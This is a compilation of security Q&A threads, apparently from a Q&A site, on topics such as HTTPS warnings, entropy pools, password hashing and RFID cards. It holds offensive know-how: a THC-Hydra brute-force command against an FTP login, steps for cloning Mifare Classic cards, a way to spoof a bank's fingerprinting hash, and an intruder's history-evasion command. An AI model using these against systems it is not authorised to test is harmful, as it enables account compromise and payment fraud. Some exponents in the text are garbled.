Unprotected connection to HTTPS web-page A couple of days ago we noticed that when we go to our online banking login page (using Opera browser as usual) there is no green lock icon there anymore. Instead, there is a grey globe icon which states "unprotected connection" even though it is an HTTPS page.

We also tried using Chrome - same problem. We have checked this problem on two different machines (Windows 7, Windows 8, Ubuntu and mac). Does anyone have any idea what the problem could be and how we could fix it? Is it a problem with the website or with our machines?

Google Chrome displays a mixed content warning. Google has a good article outlining how to prevent this. Preventing Mixed Content. This is likely to protect against prior harm XSS has caused. Particularly when XSS is performed on a website without HTTP. Although, I cannot see how this would be a problem.

Mozilla Firefox displays the connection as secure without any security warnings.

Although, Opera seems to display the connection as "Unprotected connection" when the mixed content warning is given.
It can be seen that a secure HTTPS connection is established with a valid certificate and TLS 1.2, etc...

SSL Labs analysis shows yourdomain.com uses HSTS.

  Is it a problem with the website or with our machines?

As you can see from the results above, this is not an issue with the client-side, as Opera is designed to respond like this. Instead, it's an issue with the server-side, where the developer did not consider all browsers and how they would respond.


How to mitigate the consequences of being tracked by fingerprint2.js? A webpage of a bank, where I get redirected to make a payment for my ticket,  uses fingerprint2.js. The webpage doesn't work at all when I'm using AdBlock extension in my browser and fingerprint2.js is blocked.

When I turn off AdBlock, fingerprint2.js gets loaded well and the webpage works properly.

I don't want to be tracked by  fingerprint2.js. Since it's required for functionality, how can I mitigate that? Can I let it load and yet disable  or mess up its functionality?

Assuming you are referring to this project which exposes a fingerprinting library under that name, the only effective way to avoid fingerprinting without blocking the script is to use a browser that has a common fingerprint. Unfortunately, browsers have so many fingerprints that the only reliable way to do this would be to use the Tor Browser, which enforces a uniform fingerprint among all users. This may be a problem on financial sites as they may block connections from anonymity services.

If you want to get your hands dirty, you could write a userscript that bypasses the fingerprinting script. You would need to find out how exactly the website is using that script. For example, if it just looks for a fingerprint in the form of a hash and will refuse to work if one is not uploaded, your userscript could instead upload a dummy hash. This requires you have at least a basic understanding of JavaScript.


Security Services on Edge Router vs. Standard Firewall If I can run a site to site VPN, NAT & Reflexive ACLs on a edge router (plus normal routing functions), what would be the use of running a stock firewall behind it?

For instance, Core Switch --> Firewall --> Edge Router --> ISP connections

Asked another way, why would you want to run VPNs &  Reflexive ACLs on the firewall, and NAT + routing functions on the router, if the router can do it all?

What you don't mention, and what is important generally for these kind of questions, is specifically what kind of hardware you have, what your requirements are (throughput, concurrent connections, cryptography load, etc.).  What's a snapshot of your traffic look like, where's it coming from, and what, ideally, should be going in and out?

(And you've also got to worry about worse case scenarios -- depending on who you are supporting -- the world, external customers with SLA's, internal clients, two people in an office -- you might have to worry about worst-case just a little, or potentially it might be at the core of your design).

With that missing, here are some general reasons why I would avoid all-in-one solutions:

all-in-one devices leave you with a single point of failure (or at least a collapsed data path that is more prone to being disabled by failure)
most role devices -- routers, or switches, or firewalls --- particularly once you get out of the low-end commodity stuff -- are optimized for their primary roles.

This means hardware is optimized -- cryptography for IPSec or other VPN is offloaded to ASICs, switch backplanes become superhighways (or not),  specialized chips handle layer 2 flows, etc..  Cisco switches have used ASICS forever. Juniper and Cisco have been doing routing for a long time and know how to offload to hardware appropriately.
...and software is optimized. Components might work, but if they are additions, not integrated from the beginning, you'll see the result in flexibility, resilience, and stability.  In many cases, companies have acquired because they have devices that they shore up a weakness and do one or two things very well -- over time features have been added (and added, and added), generally only in software, so that you, the customer can buy a nice "well-rounded" product.  You can see the consequences of this in everything from basic user interfaces to the the rigidity of reporting tools for some components versus others.  If you have reflexive ACL's and VPN's and IPSec and packet capture and deep packet inspection on a device -- someone has to configure it, someone has to monitor it, and someone will have to, at some point, troubleshoot it.  Are these things that come naturally, flow from the design of UI, or do you have to call support just to explain menu verbiage, or to analyze a core dump?

Ridiculous analogy number one -- you can put a spoiler on a civic, and it might even do a little something, but that spoiler is really just a decoration. (If your security is all about hitting the right boxes for audits, sometimes you can "get away" with decorations.  But this isn't real security, and we know it.)

Having a product that does too much can show up in product support as well.  If you have a problem on your Everything Device, how much support is there for it?  How long have they been supporting the 96th and 97th add-on capability of this device? If it's an afterthought, this could be trouble.  How many developers does the vendor have involved in regression testing, bug fixes, and new code releases?

For hardware, often you can add modules that give you extra power in some areas.  Cisco sells a lot of cards and modules that will offload crypto, or 'anti-X', or IDS/IPS work, and these go in everything from ASA's to 6500 core switches.  Great idea?   That depends.   Can you afford another device, or will you do more with less?
And routers are still best at routing traffic, core switches are generally better not fooling with access-lists, firewalls are better off not running OSPF and BGP.

To end, here's another ridiculous analogy -- an athlete can be a fantastic swimmer, or basketball player, or gymnast, but that doesn't mean that the same athlete should also fill up a position on the football or rugby roster.   If you're an IT person, and you have a set of requirements, you can have one device take up all those checkboxes on your list -- fill all the available positions on your roster.  But if you've got the budget and resources to buy and deploy a stronger solution for each need you have, I would certainly go far that as a more sustainable strategy.


How to use the standard (non-dictionary) brute force attack on FTP in THC-Hydra? In the process of attempting to secure my local LAN, I have determined that I am at little risk of a dictionary brute-force attack.

This being said, a standard brute-force attack which involves cycling through every possible password in existence is (although not exactly subtle) a very dangerous threat.

I have downloaded THC-Hydra, however I can't find any tutorial or how-to website which actually explains how to use any other function aside from the dictionary attack method, which is really limited to easy passwords:

How do I launch a standard (non dictionary) brute force attack on FTP with THC-Hydra?

If you want to perform a brute force attack without a dictionary use "-x MIN:MAX:CHARSET", i.e "-x 3:3:a"

The -x switch defines the character set that will be used, instead of the -p switch which would have pointed at the dictionary.

  -P "try password PASS, or load several passwords from FILE"

To launch the attack on a FTP server just place ftp in the protocol section of the URL, followed by the target IP address.

For example;

root@find:~/Desktop# hydra -t 10 -V -f -l root -x 4:6:a ftp://192.168.67.132

  -t "run TASKS number of connects in parallel (per host, default: 16)"

  -V "verbose mode / show login+pass for each attempt / debug mode"

  -f "exit when a login/pass pair is found"

  -l "LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE"

  -x "MIN:MAX:CHARSET password bruteforce generation"

Good blog post about this.

Another link that may help is Hydras page from tools.kali.org, which has a lot of good information including full syntax, beyond the examples above.

Hope this helps.


Is it worth augmenting /dev/random entropy in software? Modern Linux systems, especially headless virtuals, often have shallow /dev/random entropy pools, which can cause software to block or fail to run (e.g. Tripwire in FIPS mode)
While many agree /dev/urandom is preferred, many packages simply default to /dev/random
Pointing individual software packages at /dev/urandom may be possible, but represents a maintenance issue (e.g., will you remember to re-do customizations after the package gets updated?) or require a recompile (and do you have source?)

So my question is: lacking a legitimate (hardware) source of entropy, is it reasonable to routinely augment /dev/random using something like rng-tools (fed from /dev/urandom) or haveged?

It is more dangerous to have programs depending and/or waiting on /dev/random's shallow entropy pool, or to have (arguably) less robust randomness introduced purely by software?

And when I say "routinely", I mean "all my servers, starting when booted, running all the time, just to be safe."

I'm not questioning whether /dev/urandom is sufficiently strong - as per the cites above, almost everybody agrees it's fine (well, not everybody, but still).  I want to be certain that using a daemon like rngd or haveged to work randomness back into /dev/random - even if they're based on /dev/urandom like rngd would be in most cases - doesn't introduce weaknesses.  (I'm not comfortable with just mknod'ing the problem away, for maintenance and transparency reasons.)

(While this question could be considered a dupe of Is it safe to use rng-tools on a virtual machine?, that answer seems to fly against the widespread reputable voices saying /dev/urandom is sufficient, so this is in a sense seeking clarification as to where vulnerability would be introduced (if agreeing with that answer) or whether it is in fact introduced (if not).)

(related reading - Potter and Wood's BlackHat presentation "Managing and Understanding Entropy Usage" is what got me thinking about this)

The short answer is that feeding /dev/random back with the output of /dev/urandom will not decrease security. To make things clearer (the comments indicate that I was not precise enough), my point is that feeding /dev/random with the output of /dev/urandom is harmless (though it does not increase security); it is also rather useless (except as a way to easily support applications that insist on using /dev/random and blocking at inopportune times for no good reason).

To make things simple, let's define a working model of the functioning of /dev/random and /dev/urandom:

There is an internal state p that consists of k bytes (for some integer k).
Additional entropy x is injected by replacing p with H(p,x), where H is a "sort of" hash function. For instance, the current state is concatenated with the new entropy, the result being hashed, and the hash output is the new p.
Output is produced by using p as input to a CSPRNG; the first k bytes are the new value of p, and the subsequent bytes are the output for that run.
/dev/random differs from /dev/urandom in that it will occasionally refuse to output bytes until new entropy is injected (or gathered from the hardware).

(The above is a conceptual model which is close enough to the actual implementation for the purposes of the current discussion.)

The security of the whole thing depends on the entropy of p; roughly speaking, on how much p is unknown to attackers. Attackers know that p has size k, so they may try to guess p by brute force, which has a cost of about 28k-1 on average. The CSPRNG is deemed cryptographically secure because analysis of many bytes of the output does not yield information on other output bytes -- in particular, it does not yield information on p (either before or after the run).

We now suppose that x is chosen by the attacker. As long as H behaves like a secure hash function, H(p,x) has the same entropy as p -- the attacker still has no information on p after the operation. Strictly speaking, there can be a "space reduction" effect, down to about size 28k/2 if the attacker is allowed to do the "entropy feeding" trick 28k/2 times. If k is large enough (say 32, for a 256-bit internal state), the remaining space size is still large enough for security, and this situation cannot be attained anyway.

Since the CSPRNG does not yield information on p, the output of that CSPRNG cannot be worse for security than an attacker-controlled x. This is the part which would be most tricky to formalize in an academic way (this would take a few pages to write it down properly). Intuitively, the CSPRNG, when using k bytes of input and taking k bytes of output, behaves like a random oracle.

Therefore, feeding /dev/random from the output of /dev/urandom won't reduce security.

This of course relies on the idea that the state-update function (for entropy injection) and the CSPRNG are both "ideal" functions. If they are not, then you are doomed anyway (the autoblocking behaviour of /dev/random would not save you in that case).


Aircrack-ng Windows 10 with USB WiFi in Promiscuous mode I have seen many tutorials and lessons about how to use aircrack-ng suite in Linux. Can I use this suite in Windows 10? If so, from  where can I download binaries safely? (if you google, there are many binaries, but I do not want to infect my host machine with malware)

I do have a USB WiFi adapter (TL-WN722N) and can I use it in promiscuous mode in Windows with aircrack-ng suite? If so, how?

I don’t think you’d be able to get aircrack-ng to work on Windows. You’d also have to install the drivers. I recommend installing Virtual Box and getting the Kali Linux iso. Aircrack-ng comes preinstalled in it, all you have to do then is purchase a monitor mode supported WiFi adapter card. I suggest an ALFA one, I have one and it works perfectly. After that it’s really just a matter of opening up settings in virtual box and adding the WiFi adapter as a usb device. You should be able to use aircrack-ng then! There tons of tutorials on YouTube on how to install Kali Linux and connect a WiFi adapter.


Besides Plain-Text passwords, is there anything to worry about with sites that don't use SSL? I've noticed one of the sites I am looking to join does not use SSL even when logging in.

I am curious what security implications, besides plain-text password extraction, exist with this bad practice?  I am assuming that a MITM could be set up intercepting all of the plain-text information and could use that against others (such as ip, login info, etc).

I am curious what is the recommended approach to using sites like this?  I was thinking a VPN and random username/password to accomplish this.

Would it be best to not even use the site?  Although, there are many sites out there that are like this, which is scary.

EDIT:  I should mention that when I say "worry" I mean in the context of just creating an account, logging in, browsing, and commenting messages on the site.  I do not mean anything that could cause problems i.e., bank account info, or any other "sensitive information" (besides passwords).

EDIT2:  Second part of this question for those who might be in this situation.   If one has already registered to a site that has no SSL at all, what steps should one take to get rid of their information off of the site and/or protect themselves?

EDIT 3:  Does the problems with SSL appear with SSL on login only, or does the site need to fully have SSL?  There are many sites with SSL only on login, and from what is being said here it seems that the entire site should use SSL.

MITM is the main issue, anything that is capable of monitoring your transmissions can capture/replay data - and of course dynamically change data - with impunity.

This is really bad practice for any site and you should let them know immediately.

Ideally, you should not use the site. If you feel you have to, make absolutely certain you do not give any data that might be used for identity theft, phishing or similar attacks.

I always find it really remarkable that, in this age of cyber attacks, that some site owners and some users still seem to have absolutely know clue that this is an issue.

If, as implied, this is just a forum site, I would still ensure that I didn't use my "normal" email address and certainly I wouldn't reuse a password. Also be aware that it is possible (though I admit not that likely) that someone could easily impersonate you if they wanted to.

There is no excuse for this - even cheap hosting sites will generally offer a cheap shared SSL/TLS option which is enough to stop all but the most determined and resourceful attackers.

For Update 2: Immediately remove any personally identifiable data and ensure you have no financial data registered. If you did register financial details, report the site to your bank/credit-card company immediately - it is likely that the site would loose their ability to sell.

If you reused an email address, try to change it as quickly as possible. Many mail services allow name+something@domain.com or whatever, e.g. you can add a +something after your name though not all registration functions will accept a plus symbol (though they should as it is part of the RFC). If you can't do that, try creating a free mail account (e.g. Gmail, Outlook.com, etc) and use that instead.

If you reused a password, change the reused password on all other sites straight away & turn on two-factor-authentication wherever possible to help prevent identity theft.

If you shared your physical location or other personal details, you should just monitor the situation - after removing the details - it is actually very unlikely that anyone will have been able to do anything so don't panic, just be sensible. Also, even if you only share your City or county take note if you have an unusual name for your locality. Maybe think again about sharing in that case.

Update 3: Having SSL on the login input page, the login transactions and any user profile pages is the absolute minimum for a site that has a login. You must also have it on any secure transactions of course and that includes any session interactions. It is all too easy to make a configuration mistake. Also, it is easy to end up with other pages over time that should be protected. There are also some standards that require all interactions to be over TLS. So you can see that it is by far the best practice to simply make everything TLS secured and have done with it.


Does adblockers(ublock) protect you from Malvertisement? With malvertisement on the rise, I was wondering if it's as easy to protect yourself from it by just using an adblocker like ublock origin?

Ublock does in fact completely deny connections, so yes. It should protect you against a lot of malvertisement. Most malvertisements are in the form of flash ads, and these days its smart to keep flash disabled except for when you really need it on trusted websites.


Create honeypot for remote desktop applications Due recent breaches that have occurred using weak remote access application passwords. I would like to setup my own honey pot on a windows machine to study their malicious intents. This is pretty easy I will install RDP, VNC and other such like applications and put a weak password.

The second objective of the study

I want to build a list of weak passwords that attackers use, how can I get the passwords ?

I you would like to know how you would do it. I understand that are linux distros for honeypots. But I prefer using a Windows Machine because I have a VPS that I don't use and is running Windows, changing the OS is impossible.

Thanks

You don't need to set up a honeypot to accomplish either of these. I can tell you exactly what their intentions are once they've compromised a machine. Depending on who gets lucky enough to brute force your credentials first, you can bet they will do one or more of the following :

Send out spam / distribute malicious content from your server
Use it as a VPN server to connect to in order to perform other malicious tasks using your public IP address
Utilize it as a Command and Control server for Malware
Use the newly compromised host to perform various attacks on other computers on the internal network. Compromises become much easier once you've bypassed the firewall
Install a back door to ensure continuous access to the system.

Finding a list of weak passwords that are being used should be relatively trivial. There is a lot of risk in setting up a honeypot, and from what I gather about what you're hoping to accomplish, not a lot of gain. As the owner of the VPS you are ultimately responsible for the activities that occur on it, so if someone with malicious intents compromises your box because you set up a honeypot and didn't take the proper precautions to contain the damage, you will ultimately be responsible.

In addition, I would also think that setting up a VPS for the purposes of a honeypot would violate the TOS that you agreed to when procuring the VPS.


How to generate dictionary for a dictionary attack? I need to crack my own password. Advantage is that I know possible characters and maximum length.

What I need is to create a dictionary. The dictionary should contain all the combos of characters that I choose (for example I don't need word list which contain character T, because I didn't used T in my password).

How can I do that?

So you could use python to generate all possible combinations using itertools.permutation

import itertools
res = itertools.permutations('abc',3) # 3 is the length of your result.
for i in res:
   print ''.join(i)

where 'abc' is a string of possible characters. Note that a and A are not the same!

This will output:

abc
acb
bac
bca
cab
cba

Edit (thanks to @buherator):

If you want repeated letters (e.g. aaa, etc), you need to use itertools.product instead. For instance,

import itertools
res = itertools.product('abc', repeat=3) # 3 is the length of your result.
for i in res:
    print ''.join(i)

This will output:

aaa
aab
aac
aba
abb
abc
aca
acb
acc
baa
bab
bac
bba
bbb
bbc
bca
bcb
bcc
caa
cab
cac
cba
cbb
cbc
cca
ccb
ccc


Are exploits platform dependent? Looking over an overview of the newest published IE exploit, I noticed what I think is assembly.  I don't know anything about exploit development, but I know a little about assembly.  Seeing that assembly code, does that mean exploits target specific architectures on specific OSs?

As in, does that mean that the IE vulnerability needs to be developed IN ASSEMBLY once for each OS( XP, Vista, 7, 8 ), doubled based on 32/64 bit, then doubled again based on byte order?

Yes, most exploits are platform dependent. There are details.

For instance, if an attacker targets Internet Explorer, then he targets Windows systems. Most Windows systems run on x86. Moreover, on Windows up to 7, the default IE is the 32-bit version, even if the OS is a 64-bit Windows. Also, at the assembly level, XP, Vista and 7 are very similar (indeed, they can run the same applications, so, from the point of view of the applications, things don't change much).

This means that a single exploit version (32-bit x86, for "Windows") will already work for a vast majority of cases. An industrious attacker will also think about a 64-bit version for Windows 8, or the (very few) users with a 64-bit pre-8 OS who run the 64-bit IE. A very industrious attacker will try to make an ARM version for the Surface RT.

All these platforms are little-endian. IE for other CPU has been dead for quite some time (I used the Sparc/Solaris version back in 2000 or so, but it was a 5.x version).

The important point is that attackers don't need to do much quality assurance. It is not a problem for the attacker if what he sends to a target would not work flawlessly on other machines that he is not presently targeting.


Relay attack against Captcha I am implementing a website that included my own text Captcha (I do not use any Captcha service - like reCaptcha). the Captcha code serves each challenge (i.e. image) only once for both display and verification process. Can anybody please tell me about the possible scenarios that may be used by an attacker to relay a Captcha image to a human solver (e.g. low-cost human labor); and what’s the defense ways against them, if any?

Please note that the image is removed from the server immediately after first retrieving by the user - so there is no way to retrieve it (i.e. redirect the image link) again by anyone.

When you are sending the URL of the captcha image to the client, the client will download that image. This is how viewing images on websites works.

The client now has the image in memory. They can do with that data whatever it wants, including sending it to a captcha solving sweat shop. The sweat shop doesn't receive the original URL, just the raw image data. When they solved it, they send back the response and your client can forward that response to you.

From the perspective of your application, the client is a completely black box. Sorry, but there is no way to tell if they solved the captcha themselves or outsourced it to a different party.

But if you are a low-value target for spammers and bots, then there is an alternative solution with which I achieved quite good results in the past: A simple context-based text question. I once administrated a forum about a video game. The forum was really adored by spam bots. We tried different captchas, but none worked. Then I added a simple question to the registration form: "Enter the name of the game this forum is about". Then the spam was gone. The question of course accepted a large variety of possible misspellings and conceivable abbreviations and shorthands to make sure that no legitimate human user was blocked by it.

Note that some spam bots (or their human captcha solvers) have evolved to be able to answer very trivial questions. What's 2 + 4 or Enter ''I am not a spam bot'' here don't work anymore. But if you ask for some domain-knowledge which every legitimate user should know but which is unclear for someone (or something) which looks only at the login form, then it's a useful deterrent.

But this of course only applies to low-value targets. When you are a target which is valuable enough to spend an hour or two on to figure out how to automatize account creation, they will figure out the answer to your question and hardcode it.


Can CA certificate be spoofed on the browser level? Can a certificate be spoofed at the browser level?
Meaning I go click the LOCK image in my url bar and it shows a valid certificate from VeriSign but somehow the attacker spoofed that information. I'm not sure how they could do it and that's what I'm asking specifically. Could they use ECMAScript? Could they write a browser extension or plugin in C that could somehow update that info?

Technically -- yes, they could. However, there are few thoughts:

1) web page code cannot interact with browser's address bar.

2) an attacker may write a plugin/extension if web browser provides interfaces for such interactions.

2.1) an attacker can spoof browser's binary modules to change browser behavior. However, this will require source code knowledge and an ability to overwrite binaries.

In reality it is very and very unlikely. This attack vector assumes that attacker already gained access to your computer. In this case, he don't need to do such complex manipulations, it is easier to insert rogue root certificate in trust store and use it to spoof users.


Is there a best practice regarding PDF files on website? When a website supplies a PDF there are two options for how a user might interact with it:

View it in browser
Download it

As the host of these files is there a security advantage one way or the other? Is it safer for the users if we default the functionality one way?

It's generally safer to force-download files, than to view them directly in the browser. However, in the case of PDFs, the PDF viewers in Firefox and Chrome are probably safer and more up-to-date than the ones from Adobe or Foxit

Assuming you let users upload PDFs:

Store them in a database, and not on the file system, unless you know exactly what you're doing (see Path Traversal attacks)
Serve them from a different domain name (like googleusercontent.com vs google.com), to avoid cookie theft/clobbering on your main domain
Validate on upload. Check that size is the same as reported size. Check that filename looks ok. Virus scan. Use a PDF library to strip embedded JavaScript (you could try Apache PDFBox)


Application that uses USB token to assign user on a server I have the following situation:

One user with a USB token certificate access a site and log-in using this certificate, the logging process ask for the USB token password;
When the user is logged he can make anything in this site.

My objective is to automate this process using an PHP web application, for example.

The main question is: how to use this USB token certificate to log-in on the server? Any suggestion?

A USB token is usually a mean to precisely ensure that the user accesses the website in person. So this goes quite against any form of automation.

Theoretically you may leave the USB token connected for the use of the automated system, but that would defeat all what the USB token authentication is for (unless you consider it as a cheap HSM alternative, it would make sense but would be a complete different security schema).

Most probably you need to add a specific token-less authentication for your automated application. This usually go through a supplementary access with lower privileges than the actual user, for instance limited to (some) web API accesses and no web interface access.


Could it be insecure to suggest linking accounts to other identity providers based on their email address? Let's say I have a site where users can log in with Google+ or Twitter. Now imagine a user called Bob going through the following steps:

Sign in to my site using their twitter account. I request their email address from Twitter, and get bob@megadodo.ursa.
After performing some actions, Bob logsout.
Some time later, Bob comes to the site again, but forgets that he has an account with twitter, and signs in with Google+. He looks like a new user to me, so I request the email address from Google+, and get bob@megadodo.ursa.

So now, my app can detect that there are two users with the same email address. Would it be ok for me to pop up a message saying "Hey, it ooks like you already have an account on this site, linked to your twitter account. Log in with twitter to merge this account with your old account."?

Only if you can validate that it is truly Bob logging in. Otherwise, you're handing a ton of data and power over to fake Bob.

A better step would be "Hey, is this you? Login in with Twitter/your other creds to merge your account." That way, an attacker would have to know Twitter creds AND G+ creds to roll the accounts together. If they do, then poor Bob is screwed either way, and if it really is Bob, he can just go "oh, that's right!" and present the Twitter credentials.

Of course, this presents a usability and UI challenge, but I have the UX skills of a pebble.


Taking credit card info online recommendations I have an online store in which customers can purchase a code which enables them to have use of a bot service I run.

Part of the bot needs customers sensitive information to be entered, address, and card information. This is secure on my end with encrypted files, the latter.

Was wondering how I can get the customers to send me their info securely online, my online store does not support this option and I have a subscription with them now before I realised this. So basically they download a file from my store, containing a redemption code and a link to a website, I was thinking google forms but im not sure if this is secure?

Any similar services you can recommend, where customers can send me this info via an online form?

We have e-commerce sites, all interfaced with paypal.com. When the customer types in his CC info, he's actually on paypal.com and not our domain, through a Paypal API.

They have many options. One is at https://developer.paypal.com/docs/integration/web/. Check it out and give them a call. We are a longtime and happy Paypal customer.


Linux command logging? Recently someone broke into one of our linux servers as a non root user.

An excerpt from .bash_history:

[...]
perl
perl
set +o history
set +o history
set +o history
passwd
sdfsdf
passwd
exit

I assume that set +o history toggles command logging to .bash_history

Is there a way to make it so history logging can't be disabled?

Is there a way to find out what happened if history is disabled?

Bash history won't help you against a semi-competent attacker in the usual case.

There's an alternative: The auditing subsystem. Install auditd and configure it, so it logs for example program executions and other things you configure. In basically logs the system calls that are made according to filters you have created.

Now, if you really want to depend on bash history, you can make it more secure: Recent bash versions can log to syslog instead of a local user file. Then, syslog can be redirected to a remote syslog server if that's imporant to you.


How secure are sha256 + salt hashes for password storage I started reading about password hashing recently on multiple sites like this page on crackstation and others, and for what I have understood, I should avoid using hashing algorithms like md5 and sha1 for they are outdated and instead, I should use sha256 with salt. But, after reading this page on the php manual, I noticed that they discourage the use of even sha256 and instead they recommend using the password_hash() functions. I also noticed that most of this articles/pages were written in the interval of 2011-13, so I am not sure of how secure sha256 hashed password with salts are nowadays and whether or not it should still be used in webapps.

General-purpose hashes have been obsolete for passwords for over a decade. The issue is that they're fast, and passwords have low entropy, meaning brute-force is very easy with any general-purpose hash. You need to use a function which is deliberately slow, like PBKDF2, bcrypt, or scrypt. Crackstation actually explains this if you read the whole page. On the other hand, MD5 and SHA-1 aren't weaker than SHA-2 in the context of password hashing; their weakness is not relevant for passwords.


mifare classic 1k for micropayments Can Mifare Classic 1k be used for micro payments in a secure way?

I have a system in mind for use in a arcade game saloon. You are getting a card from cashier and can top it up for example with 100 points (they are written on the card not in database and only using ID). Then you can go to each machine, scan the card on the reader and your points will get decreased, and points left will be displayed on the lcd.

So each time you are scanning the card it writes new data and check its integrity.

Is this possible to be fully bullet proof, and cannot be copied over some custom hardware?

I'll create hardware to accept payments on the arcade games, and software/hardware for top-up operations.

I was thinking about a solution where I'll save a hash (with some secret seed) of unique id of the card, and current points amount and save it within the eeprom of the card (with points amount of course). I can wrap it up within a AES or 3DES block for extra security. I'll store the keys and hashing within the hardware so it will be pretty secure.

My concerns are:

What if somebody will take the card during write operation?
Will somebody be able to copy the card to some kind of emulator with its unique identifier and eeprom content?
Maybe there is another routine to use, better then "read, write, check" and turn on the game?
I red that Mifare DesFire standard is for micropayments solutions, but cards are more expensive, hardware probably also. However maybe somebody have some experience and its not as scary as it looks?
Anybody have any hardware recommendations for Mifare of course.

Much appreciate any input.

Mifare classic can be completely cloned. You can buy cards with changeable UID as well - I just ordered a bunch. The blocks of the card which require non-default keys can be cracked on a PC using cheap hardware. E.g.: Proxmark or Adafruit PN532 / Elechouse PN532 V3, using libnfc and a few other programs. All the tools needed come stock in Kali linux.

I haven't had any luck accessing these blocks which require non-default keys yet, but only because I have not applied serious effort. Desfire EV1 (IIRC) is a post-2008 revision, and these cards are considered secure and are uncloneable p.t.. If you know this to be incorrect, please provide links.

A lot of places use Mifare classic tags for access control and such - more power to that - but I would not use anything less than at least Desfire from NXP (no china knock-offs) for anything involving money.

Google 'mifare classic cloning'.

From reading various sources I estimate it will take max 25-30 minutes to read all data from these cards. For cards which use default keys, it takes less than a second. The Adafruit PN532 (it has a decent antenna) can do it from a distance of 7cm - this range can be increased with custom antennas. Desfire can be read from 3-4 cm. Seems that the more power the card requires to process and communicate, the lower the range of a scanner. Trivia: A single layer of alufoil prevents this... no need for a 'steel wallet'. Just duct tape it over a standard creditcard holder and store that in your wallet.

Edit: any supplementary info from pentesters and engineers would be useful for OP. Please correct any misunderstandings I may have about NFC ;)


Kismet Output Shows 3 Possible Encryption Options, Which one? Ran into an interesting situation with Kismet and Airmon-ng while observing a client wireless network.

Basically, I'm observing the network using airmon-ng, and I have my BSSID and frequency set to the specific network I'm looking at. When I view the airmon output (the .csv file with several columns like BSSID, first time seen, channel, speed, etc) it has "WPA WEP OPN" in the 'Privacy' column, and "WEP" in the 'cipher' column.  Even more curious, the 'Authentication' column had nothing in it. I've never seen this before, and was wondering if the InfoSec crowd had seen it.

Looks like this:

|Last time seen         |channel  |Speed     |Privacy      |Cipher   |Authentication
|<Date and Time>        |6        |54        |WPA WEP OPN  |WEP      |<blank>

A bit of background:

The network itself is an ad-hoc network, which is being used to
support a mesh network.
The vendor encryption is poorly documented, but is said to use '256 bit AES'. Doesn't mention if it's WEP or WPA, which is why I'm concerned.
Before pulling it up in airmon-ng, I used a Windows computer to just view it..  Shows up as 'WEP' in inSSIDer, no mention of WPA.

If anyone has seen this before, I'd appreciate the help.  Thanks!

Mike

WEP uses RC-4 for encryption, so by saying their encryption is AES means it has to be WPA2, not WEP or WPA. Almost all vendors offer WEP as an option in order to support legacy devices though, so that's not really an indicator. The fact that SSIDer showed it as WEP windows asked for a WEP key indicates it is simply a WEP-enabled access point.


How secure is Keepass when using mobile apps Keepass appears to be very secure, because it is open-source and the code is examined by a lot of independent people. Furthermore the database which holds all passwords is stored wherever the user wants it to be. This brings the ability to keep the database offline and secret instead of storing it on a companys servers, like it's the case when you use password managers like LastPass, Dashlane, Keeper etc.
For me these are the main advantages of Keepass over commercial password managers.

Because I want to have my passwords with me wherever I go, I feel the need of using a mobile App (iOS) which is capable of handling Keepass databases.
Unfortunately these apps aren't official, but unofficial ports by other people. Some of them are even closed source.

What happens if these apps are bad implemented or not maintained continously?
Is Keepass still secure when using such third party apps and is there any advantage of open-source if the app is closed source? Is there still a security advantage over a closed source commercial password manager?

The problem with any application that can access your password safe contents is that it could potentially do anything with the passwords: send them to a server, save them on your hard drive in plain text format, delete them, change one character in every entry, etc.

This applies to both open source and closed source software, unless you are examining the specific actions which are taken by the executing program. Can you be sure that the copy of KeePass you have was built from the same code as you can download?

You have made the decision that the official version of KeePass is trustworthy, and won't steal your passwords. You now have to decide whether you trust the unofficial mobile ports to the same degree, which depends on your appetite for risk.

Things to consider:

Potentially fewer users than the main Windows version, so reduced chance of issues being picked up
Difficulty of checking exactly what code is running on a mobile device (even if the code is available)
Potentially increased risk of unnoticed outbound connections

However, even given this, assuming that whatever mobile application you pick is not malicious, you keep a greater degree of control over where the main password safe file is kept than with a cloud password manager. You can always keep a full safe on your computer, and a secondary one on your mobile device, containing a subset of passwords. In that case, even if the app turns out to be malicious, you would have a core of unaffected high risk passwords, although it loses some of the convenience of a password manager.


Null content digitally signed message IA technical specification I'm following requires me to send:

  The Digital Signature must be in the form of a null content Digitally
  Signed message (i.e. a PKCS#7 object containing the signature but not
  the data that was signed).

To my understanding, this means a detached PKCS#7 signature, is that correct?

I couldn't find any definition of what a "Null Content Digitally Signed message" is.
So a PKCS#7 detached seems the closest match..

(i.e. a PKCS#7 object containing the signature but not the data that was signed)

That describes exactly what a detached signature is, a signature separated from the data which was signed.


Size of initialisation vector and plaintext in CBC mode If I have a 16-number sequence (7,7,7,....7), and I need to encrypt this using a simple 4-bit substitution cipher, do I have to "chop" the plaintext in blocks which are of same size as the IV?

In my situation the IV is specified as having to be exactly 4 bits. Let's say it's 1001.

So my plaintext is 001101110111,.....,0011.

When I start, I say 'IV' XOR '4bit plaintext' hence ==>  1001 XOR 0011 = 1010 which corresponds to 10 in decimal. If I look up 10 in my substitution cipher it corresponds to 9, so 1001 is the corresponding ciphertext C1.

Then I continue by XORing the next 4bit plaintext (the same as before) with C1 and so on.

The one thing that is not clear to me is whether I'm doing the right thing by dividing my plaintext into 4bits because the IV has to be 4 bits as well?

In CBC mode, the IV is ALWAYS the same size as the block size used by your encryption algorythm.

Thus, if you use AES, your IV will have to be of exactly 128 bits, regardless of the size of the data you have to encrypt.

So, the proper way to encrypt your data in CBC mode is to:

Divide your data in blocks of the appropriate size (128 bits for AES) bits
If necessary, Add padding the last block to extend it to the block boundary.
Generate an IV of the same size as the block size used by the algorythm (128 bits for AES)
XOR your IV with the first block and apply your encryption algorythm to the result.
Take that first cyphertext block and XOR it with the second plaintext block.
Repeat.


Authentication steps when deploying to pipelines I'd be interested in hearing some feedback on this
We have an integration tool (i.e Jenkins) that's used to run and deploy pipelines. Elsewhere there are other tools like atlassian etc.
We're going to implement SSO with MFA but I have a question:
When a person is going to run a deployment with a target of a production environment,

should there be an extra authentication step (otp, short lived
credential) - is that even possible? Or
should there be no extra step (other than some business change approval mechanism) as these guys have already authenticated, got an identity from a trusted provider and are in a group with privileges to do this.

It depends on the possible consequences of misusing of deployment permissions.
If user with deployment permission has left his computer for a few minutes unlocked, somebody can use it to deploy some bad (e.g. with known critical bugs) or even malicious application revision. If this  can cause a big money loss for your company, e.g. improper deployment activates Christmas discounts in March, then it may make sense to request authentication once again. If the potential problems are not critical, e.g. your web site provides whether information for normal users, then the current authentication can be sufficient and new authentication would give no essential benefits.


